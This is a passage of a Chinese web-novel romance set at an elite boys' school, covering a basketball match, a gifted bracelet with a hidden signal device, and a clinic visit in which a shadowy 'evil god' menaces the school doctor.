然后便立刻乖乖喝了。(白苏听到这里觉得尉迟云蔚是有点抖M在身上的) 昂贵的羊绒窗帘未能完全遮挡住窗外的阳光,使其从缝隙中挤进来,将窗帘的边缘染上了一层金边。 姜晓照顾尉迟云蔚一整晚,清秀的脸颊不由得染上几分憔悴神色。 虽然在尉迟云蔚眼里,依旧挺可爱的。 大男生早就在清晨的阳光里端详对面的清秀Beta许久,目光落在对方明亮眼睛下青紫痕迹久久未挪开。 “你昨晚一夜都没睡么。”尉迟云蔚问。 因为怕尉迟云蔚喝多了会吐,姜晓便一直守着尉迟云蔚。 姜晓点头,神色有些不自然,因为承认自己在关心尉迟云蔚让他感觉到自己像个傻子:“嗯。” 尉迟云蔚看着往日总是神采飞扬的beta蔫蔫的模样,心中好似有什么破土而出、悄然生长。 明明自己总是欺负他,还拿他打赌,他竟然还这样关心自己,因为担心自己所以照顾了自己一整晚。 不计前嫌的、温柔的、对待着自己。 就好像不论自己做出什么混帐事,虽然会被他骂,但却永远不会被他讨厌,也不会被他放弃。 尉迟云蔚握着碗的手紧了些,有许多话在口中翻涌,却又都未能说出口。 高鼻深目的Alpha边喝碗里的醒酒汤,边低声说:“咳,那天拿你打赌的事,抱歉。” 姜晓有些意外他竟然会主动提起:“你为什么这么无聊,拿这种事儿来打赌?” “抱歉。”尉迟云蔚却没有回答,只是抛出了另一个问题:“房间是你昨晚收拾的?谢谢。” 早上起来的时候尉迟云蔚一瞬间以为自己已经进了天堂。 中央空调开着暖气让房间内温暖如春,家具干净得不见一丝灰尘,所有东西摆放得井井有条。 还弥漫着一缕甜滋滋的味道。 “不是我还能是谁。”姜晓翻了个白眼。 姜晓想到这件事就后悔,别人拿他取乐,他本来是上门找茬的,竟然就因为看见对方喝醉哭了就心软帮他收拾宿舍! 真是犯贱啊! 要是姜晓能回到昨晚,真的想给自己两个大嘴巴子,并且告诉自己不要来找尉迟云蔚。 一阵让人煎熬的寂静后,尉迟云蔚开口:“我之前欺负你,为什么你还要帮我收拾房间?” 姜晓有些心虚地挪开目光,不敢跟他对视:“咳,看着乱就顺手收拾了呗。” 他没想到的是,自己的慌乱在尉迟云蔚眼里完全变成了另一番含义。 尉迟云蔚看他的目光闪烁,似乎在纠结什么,这对他平日直来直去的性格是一件很罕见的事。 片刻后,轮廓锋利的大男生才挣扎着开口:“你介不介意之后隔几天来帮我收拾一下?就,我可以给你钱。这样你也不用去打工了。” 今天的宿舍很整洁,是平时管家和佣人收拾都收拾不出来的感觉。 佣人总是会小心翼翼问他一些东西应该放在哪里,而他有时候又因为忘记了佣人摆在哪里而要去找半天。 可是现在的每件东西,却都能恰到好处地在自己想用的时候就在附近找到。 还有这汤很好喝。 并非他家厨师做出来的那种精致,看起来姜放多了,糖也好像放多了。 但是家的感觉。 尉迟云蔚很喜欢这样,几乎不舍得把任何一处破坏。 姜晓投来诧异目光,尉迟云蔚便又不自在了起来:“我可不是觉得你打工太辛苦了,只是觉得你收拾东西挺利索的哦对了,我正好吃腻这边能外送的餐厅了,不如你来给我做饭,我也照样付你薪水。” 这句颐指气使的话反而让姜晓感觉尉迟云蔚终于正常了:“我干嘛给你做饭?我本来就有工作了,没空!” 天天让他对着尉迟云蔚这张臭脸,他才没兴趣。 “你别不识好歹!你那时薪才多少钱,你帮我收拾一下,我付你10倍薪水!” “呵呵,我就愿意干那种钱少的活,也不来你这里给你当佣人!” “你!我这工作量才多大,比你天天那样忙半天要强多了!” “你怎么知道我天天忙,你暗中监视我是吧!?”(白苏:暗中观察难道不是暗恋么?你们这重点完全错了啊!) 两人开始欢喜冤家般吵架,但最终姜晓还是同意了帮他收拾宿舍。 只不过姜晓有一个条件,就是尉迟云蔚以后绝对不能用那种看不起人的态度对待他。 而且姜晓也没打算真要尉迟云蔚的钱,只是当晚尉迟云蔚喝醉后眼尾的泪痕,着实令姜晓起了恻隐之心。 之后的几天里,尉迟云蔚也确实没有再嘲弄讽刺过姜晓,甚至可以说得上是非常小心翼翼。 反而,姜晓还总是发现尉迟云蔚在上课或是换教室的途中偷偷看自己。 每当被自己发现,他又会做贼心虚地转回头去,搞得姜晓莫名其妙,都有点不敢再去他宿舍帮他收拾东西了。 姜晓把事情经过一一告诉白苏:“我现在想想,帮他收拾也没什么。看他样子,好像还挺受宠若惊的,可能平时没什么人这么真心对他好吧,除了南宫槿他们。” 听完姜晓所说,白苏已经在心里猜出了尉迟云蔚这朵暴躁娇花的心理活动。 尉迟云蔚大概是已经有点喜欢姜晓了,但因为嘴犟所以一直不肯说,又想用雇佣的方式让姜晓多呆在他身边。 姜晓又比较迟钝,完全没有感觉到尉迟云蔚的小心思。 好好磕的相处模式。 但是 “就只是这样吗?”白苏黑白分明的大眼睛凝视着姜晓,里面闪着期待的光。 姜晓和尉迟云蔚之间此时好似萦绕着一种暧昧而不自知的氛围,旁人插不进半分。 怎么可能只是因为姜晓替尉迟云蔚收拾了一下东西?! 白苏总觉得其中似乎还有什么等待自己去挖掘。 姜晓脸颊发烫,嚅嗫道:“没啦。” 虽然他很喜欢小白哥,也把小白哥当成好朋友,但是! 但是尉迟云蔚看见他膝盖因为收拾房间被撞青了一大块所以非要按着他的大腿给他涂药酒什么的 他实在不好意思说出来啊! “我都说了不用了,我自己会涂药酒!” “谁知道你回去会不会用,我现在就替你涂了!你应该感恩,老子从来没这样服侍过别人呢!” 姜晓被一把按倒在沙发上,四仰八叉完全一副任人宰割的模样。 带着白色小狗图案的睡裤被高高卷起,露出裤腿下纤细而线条优美的小腿。 姜晓因为整个夏天都在外面打工所以裸露出来的手臂和脸还是小麦色,但被衣服遮盖的部分却还都是最初白皙的颜色。 尉迟云蔚在撩起姜晓裤腿看见骨肉匀亭的漂亮小腿时便有些心慌。 姜晓的腿竟然这么好看! 但因为对方一直挣扎,他便不由分说以大手掐住了对方大腿,防止他乱动:“闭嘴!替你涂了就是了!” “你放开我!”姜晓因为这暧昧的姿势已经脸涨得通红,可是又不敢说尉迟云蔚是流氓。 因为说了,根据这家伙的性格,他可能真的会做些流氓的事情并且表示“你都骂了,我不这样岂不是亏了”。 尉迟云蔚理都不理姜晓的控诉,直接拿出平时自己常用的药酒倒在手上:“这种治疗跌打的药酒要用力揉搓,会疼,你别叫。” “你啊好痛啊!”姜晓还没骂完就被打断施法,痛得开始哼哼唧唧。 “呜呜别弄了行不行,好疼呜呜呜!”尉迟云蔚手劲奇大,又用身体重量压着姜晓不让他跑掉,他只能委屈地开始求饶,“你就算看不爽我也不用想这种办法折磨我吧” 没揉多久,青紫的地方便已经因为揉搓而热起来,尉迟云蔚红着脸收回手:“行了,别叫啦!” 姜晓一骨碌爬起来,却看见尉迟云蔚不自在地扯了扯睡裤的裤腰,又用上衣盖着裤子,似乎在掩盖什么。 看见他视线投向自己,尉迟云蔚立刻逃也似的跑了:“我去洗手,一手油,靠!” 后来姜晓不敢多留,赶紧离开了尉迟云蔚的宿舍。 这几天也并没有再去。 但是正像刚才他告诉白苏的,尉迟云蔚这几天总是莫名其妙在偷看他,还给他发了两次信息让他去帮忙收拾宿舍。 姜晓心想:自己收拾得那么干净,总不可能两天就被那家伙霍霍乱了吧!? 裁判哨声尖锐地响起,一小节结束了。 场上气氛逐渐焦灼,比分紧咬着向上攀升可南宫槿率领的白队一直比黑队的分要高上几分。 尉迟云蔚心里有些焦躁。 姜晓在看着,他不想带队输给南宫槿,否则会很丢脸。 可是偏偏今天南宫槿也一副并不像输的模样,状态非常在线。 尉迟云蔚也不懂,为什么自己要因为姜晓而在意结果。 他和南宫槿、百里枫是比亲兄弟更亲的兄弟,本来和他们比赛,自己从来不在乎输赢,只要打个尽兴即可。 但自从那天他喝到姜晓的醒酒汤,看着姜晓睡眼惺忪却还气鼓鼓骂自己的模样后,好像有什么开始变化了。 在姜晓面前,他想赢。 几次突破被南宫槿盖帽后,南宫槿靠近他笑了笑:“想赢?” 尉迟云蔚冷哼:“大家各凭实力就得了。” 南宫槿只是看着他,露出个有些狡黠的笑容。 认识这么多年,南宫槿当然知道尉迟云蔚此时在想什么。 他虽然不点破,但也不介意让兄弟遂愿。 尉迟云蔚知道自己的想法逃不过南宫槿这只老狐狸,只能作罢:“别放水放得太明显,让我没面子。” “行,”南宫槿答应得很痛快,“但你欠我一顿饭。” 漫长的时光里,尉迟云蔚自生母去世,母亲家族衰败后便被父亲放弃,在父亲续弦有了新的孩子后更是雪上加霜。 他性格暴躁又不会讨巧,与父亲关系一直非常不好,更给了继母从中说坏话的机会。 南宫槿、谷四宜和百里枫可以说是他14岁等来的救赎。 他们真心地关心他,了解他,包容他的坏脾气,很多时候不理解但也尊重他的选择。 尉迟云蔚伸手与南宫槿碰拳:“谢了,兄弟。” 百里枫在他们身后嚷嚷:“哈喽?你们现在是对手,不要表现得那么亲昵呀!” 尉迟云蔚也伸手跟他碰拳,嘴里却不饶人:“关你P事。” 篮球赛进行到最后一小节,尉迟云蔚的队伍还落后10分,局面并未打开。 在一次快速的反击中,尉迟云蔚却以灵活步伐突破了对手的防线,闪电般快速将球带到了篮下! 南宫槿队伍的后卫想要盖帽,却被他避开,让篮球应声入网! 尉迟云蔚的身高以及弹跳能力都十分过人,扣篮时连与篮网相连的篮板都在剧烈震颤着。 仿佛下一秒就会被彻底破坏般。 连谷四宜都忍不住和百里枫开始说小话:“我靠,他这是要扣碎篮板的节奏啊!这么努力是想给谁看啊!” 百里枫挑眉:“你懂的。” 队里其他人看出南宫槿无心进球,便转为防守态势。 可越是防守,就越发阻拦愈战愈猛的尉迟云蔚。 比赛进入读秒阶段,尉迟云蔚的黑队比分仍然落后。 但就在和谷四宜精妙的撞墙配合后,他接到了谷四宜的传球,面对着最后几秒的倒计时,他没有选择强行上篮,而是冷静地退到了三分线外。 时间仿佛在这一刻凝固,他深吸一口气,调整姿势,篮球从他大手中飞出。 篮球穿过篮网,发出清脆的“唰”声,比分牌上的数字随之改变,反超! 整个球场瞬间沸腾,观众的欢呼声几乎要将屋顶掀翻。 尉迟云蔚刹那的反应并不是去看比分板,而是转过身看向观众席的那个人—— 心跳一下比一下更快,响彻他的世界。 他猛然意识到,这样在意的情绪,除去【爱】这个答案,并无其他可以解释。 *** 低矮的木屋屋顶覆盖着厚厚的茅草,与周围自然环境的粗犷美相得益彰。 外墙采用当地的石材堆砌而成,经过风雨的洗礼,表面呈现出一种沉稳的青灰色,石缝间生长着嫩绿的苔藓。 门上雕刻着复杂的图案,铜质门环斑驳遍布岁月痕迹。 吧台后面的墙上,排列着一排排咖啡豆罐,它们的标签手写着各种咖啡豆的产地和风味。 “最近状态不错啊。”披着黑色皮衣外套的英俊男人开口带着调侃。 他面前的深棕色的亚麻桌布上面摆放着小巧的花瓶,里面插着新鲜的野花。 “出来度假,当然状态不错。你也是,看起来状态很好,最近怎么样?” 坐在他对面的男人一身运动款冲锋衣,毛绒帽子下一双湛蓝眼眸格外引人注目。 闻行屿随意抿了一口杯里的咖啡,被苦得直皱眉:“我来找你,就是为了这件事。你是这方面的顶尖学者,如果你都无法解释,那其他人大概也给不了我什么理由。” “我发现,我能闻到一个Beta的信息素味道,而且我确定他不是Omega。” 第28章 第 28 章 阴郁美人和他的守护邪神…… 呐喊声几乎要掀开体育馆的顶棚。 尉迟云蔚读秒绝杀的动作实在太帅, 跳起将篮球准确投入篮网的动作在阳光下剪影潇洒流畅。 不仅在场的很多尉迟云蔚迷弟尖叫起来,连姜晓也觉得这个绝杀实在太帅了! 篮球入网恰好是在计时到最后一秒的时候,简直像是宿命般的三分球! 姜晓跟着众人开始欢呼, 却不期然地撞入了尉迟云蔚几乎可以称得上是邀功的殷切目光里。 蓦然,姜晓感觉自己心跳似乎快了一拍。 南宫槿站在自家半场,也为尉迟云蔚鼓掌:“漂亮。” 他是个在意输赢的人, 但并不介意输给兄弟。 只是总以利益作为衡量标准的男人颇为不理解, 尉迟云蔚为什么会喜欢姜晓,又想要在对方面前“赢”。 这样的情绪对多年来把自己活成机器的他而言, 终归太过陌生。 仔细去思考,南宫槿才发现这么长时间以来,唯一能够调动他情绪的人竟然是闻行屿。 “尉迟云蔚,你带队赢球了该请我们全部人吃饭!”百里枫开始扯着嗓子喊。 尉迟云蔚大手一挥:“请,已经订好丹云天的包厢了,现在就去。” 丹云天是贵族男校校外临近的一所高档酒店, 包厢低消五万联邦币, 随便一道家常菜都要上千联邦币。 其他篮球队成员纷纷感叹少爷阔气:“尉迟少爷大手笔啊。”“好咧!出发!”“抱着云蔚哥哥大腿~” 尉迟云蔚却说:“等我一会儿。”说罢便朝着观众席跑来。 此时观众席开始有序退场, 看见跑过来的尉迟云蔚和百里枫, 顿时响起一阵惊叫声。 白苏:“” 两个男生衣服一黑一白,气质也迥然不同,尉迟云蔚是更为阳刚的硬挺男人模样, 百里枫则五官轮廓更加秀气精致, 皮肤白皙而透亮。 姜晓远远便感觉尉迟云蔚望向自己的目光火热得不像话,可又不知对方是为何。 尉迟云蔚跑向他,只拿了手机:“耳机我懒得带,替我保管吧。” 说出口,他却后知后觉感到自己这话似乎有些不符合姜晓的“尊重原则”。 但他平日习惯了用这样带着命令般的口吻讲话, 一时间想要全然改掉并不容易,此时只好又补充道:“晚上我去你们宿舍找你拿,给你带夜宵。” 因为贵族男校把学生分成三六九等,尉迟云蔚身为A级的学生住在最奢华的宿舍楼,而姜晓作为D级则在学院外围每天通勤时间最久。 尉迟云蔚心中思忖着:下次要找机会,把姜晓调到他们这栋宿舍楼来。否则姜晓天天上学都要走半天,太累了。 百里枫则是对着白苏抛了个媚眼:“那小白医生,晚上我也去找你拿。” “姜同学替你保管,你让尉迟同学替你带回去不就好了。”白苏当然不会真让百里枫大半夜跑来找自己。 百里枫一愣,原本开屏开得正灿烂的大孔雀忽然收起笑容,委委屈屈的:“哦,好吧。我知道了,你就是不想我去找你。” “是的,没错。”白苏毫不留情。 百里枫被白苏的话噎了一下,霎时间更委屈了。 从小到大,其他人哪个不是把他捧在手心含在嘴里,他还第一次遇见白苏这样不客气拒绝他示好的。 “你们好了没。”南宫槿在远处喊他们,脸上带着隐约的不耐烦。 他是F4里面唯一一个已经开始管理家族生意的人,每日忙得脚不沾地还得抽空来上学,自然是烦躁占据大部分情绪。 即使是大少爷,只要沾了“工作”这两个字,一样会焦头烂额呢。 尉迟云蔚也不想让朋友们久等,便立刻说:“来了。” 看着他们勾肩搭背离开,白苏忽然想到了一个鬼主意:“欸,姜晓,你看他俩的耳机是一样的。” “嗯,这款很贵的。”百里枫和尉迟云蔚一样用的是某尼最新款的头戴式无线耳机,还都是和某款知名国际大IP联名的限量款。 白苏笑得诡异,头上仿佛长出了恶魔的小犄角:“你说,我们如果把他俩耳机换一下,会怎么样呢?” 如果大半夜,百里枫忽然心血来潮想看点咸湿东西,那声音在尉迟云蔚的耳机里响起来想想就很有节目效果啊。 说不定尉迟云蔚还会以为是闹鬼了! 姜晓秒懂了他的用意,立刻做了个鬼脸:“嘿嘿,好!我同意这个主意!” 两人相对而笑,使得旁边经过的人都绕开他们走,并且皱着眉头看着他们。 但也有人悄悄把相机镜头对准了他们,拍下许多照片。 十分钟后,一个帖子再次爬到了学校论坛的首页热帖位置。 【开盘:赌白姓校医手上的mku手链是谁送的】 【1L:他才来多久啊,就有人送他这么贵的手链??】 【2L:前段时间帮姐夫挑过,他这条从楼主照片里看,用的都是从隔壁星系空运来的天然粉晶,而且个头饱满颜色很透,主珠是镇店之宝级别的,拿下这条能买主城CBD一套房子了】 【3L:楼上识货啊】 【4L:这么贵,那送的人只能是南宫槿了,其他人也没这个实力呀?】 【5L:可是今天篮球赛,南宫槿从头到尾没跟他说一句话欸】 【6L:难道是百里枫?今天看百里枫把手机放在他那里】 【7L:枫和槿是兄弟,不可能抢一个人吧】 【8L:会不会是钟离曜?上次我看见钟离曜和他一起在食堂吃饭了】 【9L:还真有可能,钟离家也是买得起的】 但此时正在和学校人事打电话的白苏对此并不知情,只是随手把那串价值连城的手串当成文玩在手里盘着。 “谢谢,我前几天就是不舒服,现在好多了,嗯。” 自上次闻行屿突然进入易感期,白苏后颈痕迹足足三四天也没消。 他担心被闻行屿看见,也担心被旁人看见,请假请了足足五天。 好在学校福利好,不仅没有批评他请假,反而还给他发了慰问礼品并且打电话问他“身体不舒服吗,休息得怎么样”。 白苏觉得这所学校真素神仙单位。 被闻行屿打点过才会打电话关心的贵族男校男校人事处:[受宠若惊.jpg] 实际上应该得到这个夸赞的闻行屿:? 人事那边口吻非常殷切:“白医生,您客气了,如果你还觉得不舒服,再休息几天,也是可以的。” 白苏:“不用啦,谢谢。” 人事礼貌地笑了两声,继续说:“我们都是带薪假哦,您不用担心薪水的问题的。” 白苏实在受宠若惊,由衷感叹道:“学校福利真好。” 放下手机,白苏的目光再次落在掌心那串带着浅淡迷迭香味道的粉晶手链。 若不是今天姜晓的朋友懂行,恐怕他都不会知道这样的手链竟然这么贵。 明明闻行屿早上拿给他时神态轻松,就好像只是随意给了他一个小玩意儿似的。 白苏现在觉得,他大概就是利用了自己的这种心理,想让自己放松警惕,觉得这个手链不值钱! 清晨阳光洒在长长的走廊上,形成一道道光影交错。 窗户旁,几盆硕大的绿植在晨光中伸展着叶片,精神抖擞。 “为什么突然要送我东西呀?”白苏抬头看着闻行屿,大眼睛里带着几分懵懂。 闻行屿手里捧着天鹅绒的礼盒,但从口袋里拿出来的模样却很是随意:“我把从army里带出来的信号器放在里面,如果你需要我,你就按这颗最大的水晶里侧,它就会发射信号,我会立刻赶来。” 话里话外的意思,便是这条项链不过是为了搭信号器而买的。 白苏知晓他肯定是担心自己像上次那样被柳弦找麻烦,这样的好意让白苏很难拒绝:“好,这种设备可以给其他人用吗?” “可以,我不想再将你置于可能的危险之下。”闻行屿这么说着,便拿出粉水晶手链,替他带上。 粉水晶之间以银质链子串连,两端以精致的卡扣固定,是根据每个佩戴者手腕的尺寸量身定做,控制在既不紧但又不会过松的范畴内。 男人对这样的首饰显然并不非常了解,那精致而小巧的固定扣在他大手里捏了半天才被捏开,捂得白苏手腕发热。 闻行屿握着他手腕的动作很轻,力度几乎可以用小心翼翼来形容。 像是在握着什么易碎的珍宝,用力一点儿都不行。 托闻行屿力道小的福,白苏只觉得手腕与他粗糙指尖触碰的地方阵阵发麻,像是激起了细微电流。 电流顺着肌理弥漫到胸腔,让心跳都随之加快。 白苏抿唇,努力克制自己身体不自然的颤抖。 心跳得好快,就像那天晚上闻行屿搂着他一样快。 明明只是朋友的距离,只不过是帮忙带个手链 白苏不懂自己这是怎么了。 一定是因为闻行屿咬了他,才会有这样的反应。 否则,他又怎么会在闻行屿握着自己手腕的时候,产生想要直接把自己手腕送进他掌心的冲动呢? 阳光灿烂,两道高挑的身影便这样相对而立,拉长的影子交叠在一起。 闻行屿蹙着眉,一副对待仿佛jun事地图里布置的难题的严肃表情,大手捏着卡扣碰来碰去,总算是扣好了。 “它是防水的,所以不论你洗澡或者游泳,都不需要取下来。”闻行屿握着细嫩得有些过分的手腕,将那条手链调整到合适的位置,又忍不住叮嘱了几句。 闻行屿的表情郑重而认真,白苏甚至不知该怎么拒绝他的礼物:“好,知道啦,谢谢。” “我要出去办事,可能要一天左右,”闻行屿退后一步,但歪头看他的神态非常犯规,“哥哥会想我么?” 粉晶手链上还带着闻行屿的体温,白苏的身体在此刻异常诚实:“会的。” 想到当时闻行屿眼睛亮闪闪地看着自己的模样,白苏就脸颊发烫。 搞什么啊,为什么要那样看着他! 闻行屿平日都很酷,身高腿长爱穿黑衣,学生们都又敬重又害怕他。 但对着自己,闻行屿却每次都像只会卖萌的狗狗,而且还拿捏住了他吃软不吃硬的七寸,每次都撒娇讨好,让他没法拒绝。 白苏在回来后自己去官网查了那条手链的价格,下巴都吓得掉在地上了。 他心想闻行屿不是之前还说没钱的吗,难道发了新工资立刻全都用来买手链了吗!? 这消费习惯简直太糟糕了! 以后闻行屿如果找对象看来得找个勤俭持家的来配合他这样大手大脚才行,否则有多少钱也得被闻行屿败光了。 白·小财迷·苏很心疼钱,更心疼这是闻行屿可能好几个月的工资钱。 如今手链已经收下,想要还回去,又得费一番心力。 但犹豫片刻,白苏还是决定等到闻行屿回来,就还给他。 *** 披着皮衣的高大男人鼻梁高挺,此时用骨节分明的大手搓了搓鼻尖的位置。 鼻子好痒,怎么感觉有人在惦记自己。 “你是说,你的易感期只用了四个小时,就完全过去了?”对面的蓝眼睛男人诧异地站了起来,瞪大了眼睛。 说话的人是闻行屿的好友,毕业于主城的联邦国防科技大学,是在读博士,主攻Alpha信息素研究,参与过许多jun方重要项目。 此时他正在世界各地旅游,所以闻行屿选择在东南亚的某个城市见他,此处没有监视者,说话才更放心。 闻行屿点头:“嗯,确实很奇怪。” “你是不是混乱里标记了哪个Omega啊,你”文森特语无伦次,这样荒谬的事情和他以往接受到的知识产生了强烈的冲突,令他感到有些不能接受。 “文森特,事实就是像你看到的这样,”闻行屿摊手,“我在易感期开始的第五天,就可以自己开飞机,可以随意释放信息素去战斗。” 闻行屿在他天马行空的猜测下有些语塞:“我把自己锁在地下室里,怎么可能。” “你确定?这在目前案例里从来没有出现过,而且你自己的情况你自己清楚,对于正常alpha而言,不采用药物或是标记方式至少需要维持48小时,而你只会更久。”棕色卷发的男人这样说。 文森特钿蓝色眼眸里似乎带着对世人的悲鸣,不像是生物学的博士,而像是教堂里传教的神父。 闻行屿沉默片刻叹了口气:“我知道。如果非要说标记,当时我和一个beta在一起,而且很奇怪的是,我能闻到他身上有种特殊的味道。” 文森特:“”他先是假装不经意观察了闻行屿片刻,确定对方精神状态还正常后,才开口:“beta是不能被标记的,闻先生。而且他们也没有信息素味道。” 闻行屿和对方何其熟悉,立刻撇嘴道:“我精神没问题,你不用偷看我。” “你有没有精神问题,不是你说了算的。”文森特呛了他一句。 “是,但很奇怪的是,我确实能闻到,我能肯定不是我精神出了问题”闻行屿蹙眉,“所以我只能来找你。” 闻行甚至觉得那天在校医室会忽然进入易感期也是因为被白苏的味道诱发,可没有证据的东西说出来也不会叫人相信。 文森特面色变得有些凝重,像是在调用自己所有的知识去思考这其中的合理性:“这从我目前建立的知识体系里,是完全不可能的。如果你想证明,带他来见我。” 作为研究这方面的学者,文森特有着强烈的求知欲。 如果真的像闻行屿所说,那么文森特怀疑自己甚至能开辟信息素领域的新纪元,发表nature也不过信手拈来。 闻行屿早就做好了打算:“下周同一个地方,我会带着他过来见你。” 能闻到信息素,总比闻不到要强。 能提前结束易感期,也是一种向好的态势。 文森特很为闻行屿高兴,开口时也轻松了不少:“闻,你这次怎么过来的?速度这么快。” 闻行屿笑了笑:“闲来无事,自己开飞机过来的,用了三小时,快吗?还好吧。” 蓝眼睛:“”装货! *** 正当下午的值班时间,校医室门外一道清丽高挑的身影敲响了房门:“你好?有人在吗?” “有的,你进来吧。”白苏赶紧回答。 高挑的男生慢慢走进校医室内,刹那头发的金色光芒就晃到了白苏的眼睛。 太漂亮了! 简直就是油画里走出来的神祗! 美得不可方物! “医生您好,我是想来看看精神问题。”那金发美人将额发轻轻别到耳后,动作优雅得让人心醉。 “精神问题?严重吗?”白苏自从上班以后,还没碰见过来咨询这一方面的。 这男生确实长得极惊为天人。 说实在的,白苏觉得对方没有柳弦出名唯一的可能就是对方太低调且没在各个论坛下水军。 否则,就凭这一头海藻般的金色卷发,美丽的湛蓝的大眼睛和有如BJD娃娃般标志的三亭五眼尖下巴,哪还有那忧郁疏离的气质,不论哪一个都是完爆柳弦。 况且,这金发美人说话轻声细语,每一个字都像是带着玫瑰的芬芳:“医生,我知道自己的情况比较严重,本来应该去校外的心理科看。但是我这几天在赶着交一幅画,如果在学校进出,肯定不免舟马劳顿,我比较担心灵感会消失。给您添麻烦了。” 好有礼貌的孩子! 长得那么美,还这么有礼貌,还那么有气质,还那么油菜花! 白苏简直都要爱了,此时满心怜爱地说:“没关系,你先说说自己的症状吧。” 那男生神色惴惴不安,将垂落耳边的金发捋到耳后,露出锋利得像是刚打过超声炮般的下颚线:“我总是做一些奇怪的春梦。” 说出这个词时,他似乎有些羞恼,原本苍白得不像话的脸颊逐渐红润起来,使得他容貌愈发娇艳欲滴,美得白苏都心尖发颤。 白苏对上他有些不安的目光,以手势示意他继续说下去:“是不是压力太大了?是怎么样的梦呢?” 同时,不忘挤出一个鼓励性质的笑容,来安抚对方。 白苏一看这孩子就是那种沉浸在艺术里,用自己的灵感去表达自己对世界理解的那种艺术家。 并不是“模特老了该怎么办啊”“let''''s艺术”“很高兴你也喜欢艺术”那种柳弦式装模作样的喜欢。 而是真正的、发自内心的、几乎狂热的爱。 白苏觉得这样的艺术家,有些走火入魔的投入,是很正常的。 更何况这孩子看起来就很有上进心,没准就是压力太大而已。 金发美人便继续说:“我每天晚上不,只要我入睡,都会梦到有一个男人,在对我做些奇怪的事,而且我会清楚记得那些梦境,起来之后也很有感觉。” 说到这里,金发Omega早已面颊绯红,连白皙如玉的耳根都红了个透,眼眸更是水汪汪的,像是下一秒便会因为难为情而落泪。 他思考片刻,又补充道:“也不能说是男人,更像是一个异种,他的形态是多变的,并非只有人体的形态。” 白苏:“”听起来像是压力太大产生了幻觉。 白苏虽然并不是专门学习精神领域疾病的学生,但也上过一些比较宽泛的课程,有一定的了解,便问:“你家族有类似的遗传” 金发美人海藻般的卷发后,一团黑色雾气正逐渐扩散到整个房间内,变幻出一个隐约的男人上半身的形状。 组成男人头部的雾气还带着羊魔人般的巨大犄角形状,两点深红在脸部眼睛的位置,闪烁着诡异的光芒。 不是,等会?! 白苏揉了揉眼睛,心想难道他自己也出现幻觉了 这幻觉怎么还会传染啊!? 第29章 第 29 章 阴郁美人和他的守护邪神…… 琴叶榕茎干粗壮, 叶片肥大而有光泽,边缘呈现出优雅的曲线。在阳光的照射下,叶片上的脉络清晰可见。 阳光穿透叶片, 投下斑驳的光影,盆中的土壤湿润而肥沃,表面散落着一些光滑的石子。 可惜此刻郁郁葱葱的绿色被那团愈发躁动的黑雾遮盖过半, 似乎蔫巴了不少。 白苏心想, 自己是不是也精神出问题了。 再次睁开眼时,他仍旧可以看见, 一团巨大的黑色迷雾萦绕在金发美人身后。 此时黑雾边缘幻化出一张轮廓深邃五官锋利有些阴柔的黑发男人的头颅,此时正带着威胁看向白苏。 那目光有如实质,带着锐利的寒意,淬满危险。 白苏的身体在这样的视线里僵直,不由得开始发抖。 他看见那团黑雾里男人的嘴型缓慢而流畅地无声说出了一句话—“阻止他去医院,否则我杀了你。” 呵呵哒。 白苏后背冒出冷汗, 已经开始在心里骂脏话了。 我靠靠靠!我怎么阻止他去医院啊我只是个校医我又不能拿木仓指着他的头让他不要去! 金发美人看着他强行按捺但依旧惊恐的神色, 解释道:“我的家族没有精神病史。” “对了同学, 麻烦出示一下学生卡。”白苏想要继续追踪这团不寻常的黑雾, 就肯定要知道这位大美人的名字。 “好的。”漂亮男生拿出学生卡,上面名字后面写着【莱利·冯·德文希尔】,右边照片则是标志的证件照。 证件照也美得不像话。 白苏点头, 在卡机上刷了学生卡:“谢谢配合, 还有什么症状吗?别担心,应该只是压力太大。” 莱利似乎对说起这些事显得非常难为情:“没有,只是现在有时候清醒的状态下,我好像也开始出现一些幻觉,会觉得他在摸我。” 白苏:“” 禽兽啊!晚上趁人家做梦的时候胡作非为还不够, 现在连人家醒着都不放过! 可最终在那团黑雾的死亡凝视下,白苏还是开口说:“你应该只是最近压力太大,没休息好,回去多休息,就没事了。” 莱利似乎松了口气:“哦,我最近确实压力挺大的,想要创作更好的作品。” “嗯,回去要多休息,之后如果有什么不适,可以再来校医室复诊。”白苏说。 那团黑雾带着威胁,忽然以极快的速度向前俯冲,吓得白苏差点从桌上摔下去。 白苏看见那黑雾的口形在说:“不要让他去医院。” “不算很严重的问题,如果你最近忙,可以不用去医院的。”白苏汗流浃背,边说边在心里大哭。 好可怕啊怎么会有邪神这种东西威胁自己啊! 忽然地,白苏目光落在金发美人莱利方才因撩头发而露出的细白脖颈上。 那截脖子细嫩,青紫血管痕迹清晰明显,此时薄薄皮肤上赫然有好几个带着情色意味的吻痕。 痕迹呈现深红色,像是雪地里的梅花般一路蔓延到被衣领遮盖的禁忌领域。 蜿蜒梅花极其具有写意的美感。 白苏绝望地闭上了眼,心想这邪神还是有实体的! 那看来莱利做的梦根本不是他以为的做梦,而是真实发生的啊啊啊! 白苏愧疚,白苏想帮忙,但白苏什么也不敢说。 他是真的害怕啊啊啊! “咦,这不是闻行屿前几天买的手链吗?” 那有几分阴郁的美丽Omega目光落在白苏手腕,表情有几分惊讶,但很快又恢复了原本的从容,“原来是要送给你的。” 白苏也有些讶然:“你认识闻行屿?” 这漂亮艺术家竟然知道闻行屿买手链的事情? “我和他,算是青梅竹马吧。”莱利不急不缓说道,“从小就认识,很熟。” 听到“很熟”二字后,金发美人身后的那团黑雾开始扭曲,忽然在空气里幻化成一串尖刀的形状,雾气不安地在室内滚动,白苏几乎能感觉到对方现在的醋意和恼火。 若是闻行屿在这里,恐怕会即刻被那黑雾死死缠绕,释放恶意。 只是青梅竹马而已,邪神哥不至于啊! 要不是白苏怂,白苏简直想要上前拉着那团黑雾说:“邪神哥,算了算了,一点小事儿而已。” 但白苏此刻不自然的神色,却被莱利解读成了另一番含义。 莱利心中有些后悔,觉得自己似乎是多嘴了。 如果因为自己的多话,给闻行屿的感情生活带来不必要的误会,那就不好了。 白苏继续看着金发Omega,便听见他说:“不过你可以放心,我和他绝无那种感情。” 两人因家族交好而年幼相识,年龄又相仿,就算只是在聚会上抬头不见低头见,也肯定能混个脸熟。 何况家族一直有意将他们凑合在一起,只是他俩都不愿意。 金发艺术家明白闻行屿既然送手链给白苏,定然是对白苏有着倾慕之情,便立刻解释了两句。 但莱利没想到的是,自己的话安抚的并非白苏,而是另有其人。 